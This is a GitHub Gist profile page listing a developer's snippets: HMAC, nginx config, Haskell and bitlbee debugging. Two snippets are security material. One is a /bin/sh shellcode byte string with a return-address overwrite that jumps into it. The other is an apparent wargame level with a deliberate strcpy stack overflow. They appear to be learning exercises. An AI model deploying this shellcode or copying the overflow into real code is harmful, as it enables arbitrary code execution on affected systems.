Skip to content

Instantly share code, notes, and snippets.

View nullren's full-sized avatar

Renning Bruns nullren

View GitHub Profile
⨀_⨀
⨂_⨂
(/◔ ◡ ◔)/
°ﺑ°
(¬_¬)
(´・ω・`)
(ʘ_ʘ)
(ʘ‿ʘ)
(๏̯͡๏ )
(◕_◕)
@nullren
nullren / 1. hmac.pl
Created September 21, 2011 22:32 — forked from varnit/1. hmac.pl
c hmac
#!/usr/bin/perl
use strict;
use warnings;
use Digest::SHA qw(hmac_sha1_hex);
print hmac_sha1_hex("my data", "secret key") . "\n";
@nullren
nullren / nginx.conf
Created February 4, 2012 07:58
nginx configs i have
user http;
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
@nullren
nullren / shellcode.c
Created February 26, 2012 07:27
shell code
const char shellcode[] =
"\xeb\x1dYH1\xd2H\x8b\x19RSH\x89\xe7RWH\x89\xe6H\xc7\xc0\xc4\xff\xff\xffH\xf7\xd0\x0f\x05\xe8\xde\xff\xff\xff/bin/sh";
int wtf() {
int *ret;
ret = (int *)(&ret + 2);
(*ret) = (int)shellcode;
return 0;
}
@nullren
nullren / level04.c
Created February 26, 2012 20:37
level04
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void fun(char *str)
{
char buf[1024];
strcpy(buf, str);
}
@nullren
nullren / gist:3374057
Created August 16, 2012 22:10
need a better way to do "suffix"
humanReadable :: Double -> Double -> Integer -> String
humanReadable num base power
| num < 0 = "Negative file size!"
| power > 8 = "Fucking huge!"
| num > base = humanReadable (num / base) base (power + 1)
| otherwise = printf pstr num (suffix power)
where
pstr = if num > 10 then "%.0f%s" else "%.1f%s"
suffix 0 = ""
suffix 1 = "K" -- kilo
@nullren
nullren / ssltest.hs
Created August 21, 2012 06:50
Network.TLS failed handshake on irc.oftc.net
import System.IO
import Network.TLS
import Network.TLS.Extra
import Crypto.Random
import Text.Printf
import qualified Control.Exception as E
import qualified Data.ByteString.Lazy.Char8 as L
import qualified Data.ByteString.Char8 as B
import Control.Monad
@nullren
nullren / smsgcm.c
Created January 11, 2013 01:19
bitlbee crashes if the files `cl_path` or `ca_path` do not exist in `smsgcm_login` function
#include "smsgcm.h"
GSList *smsgcm_connections = NULL;
static void smsgcm_init(account_t *acc)
{
//set some settings i guess
set_t *s;
char *def_url = SMSGCM_API_URL;
.
.
.
[Thread 0x7ffff5557700 (LWP 17029) exited]
[New Thread 0x7ffff5557700 (LWP 17100)]
[Thread 0x7ffff5557700 (LWP 17100) exited]
[New Thread 0x7ffff5557700 (LWP 17171)]
[Thread 0x7ffff5557700 (LWP 17171) exited]
[New Thread 0x7ffff5557700 (LWP 17252)]
[Thread 0x7ffff5557700 (LWP 17252) exited]
@nullren
nullren / gdb.out
Created January 13, 2013 04:41
i get a seg fault in this loop
(gdb) bt
#0 0x0000000000000000 in ?? ()
#1 0x0000555555587466 in bee_user_by_handle ()
#2 0x0000555555587685 in imcb_buddy_status ()
#3 0x000055555558793b in bee_user_new ()
#4 0x0000555555588740 in imcb_add_buddy ()
#5 0x00007ffff5253e51 in smsgcm_main_loop (data=0x5555558441c0, fd=<optimized out>, cond=<optimized out>) at smsgcm.c:19
#6 0x00007ffff77213cb in ?? () from /usr/lib/libglib-2.0.so.0
#7 0x00007ffff7720845 in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0
#8 0x00007ffff7720b78 in ?? () from /usr/lib/libglib-2.0.so.0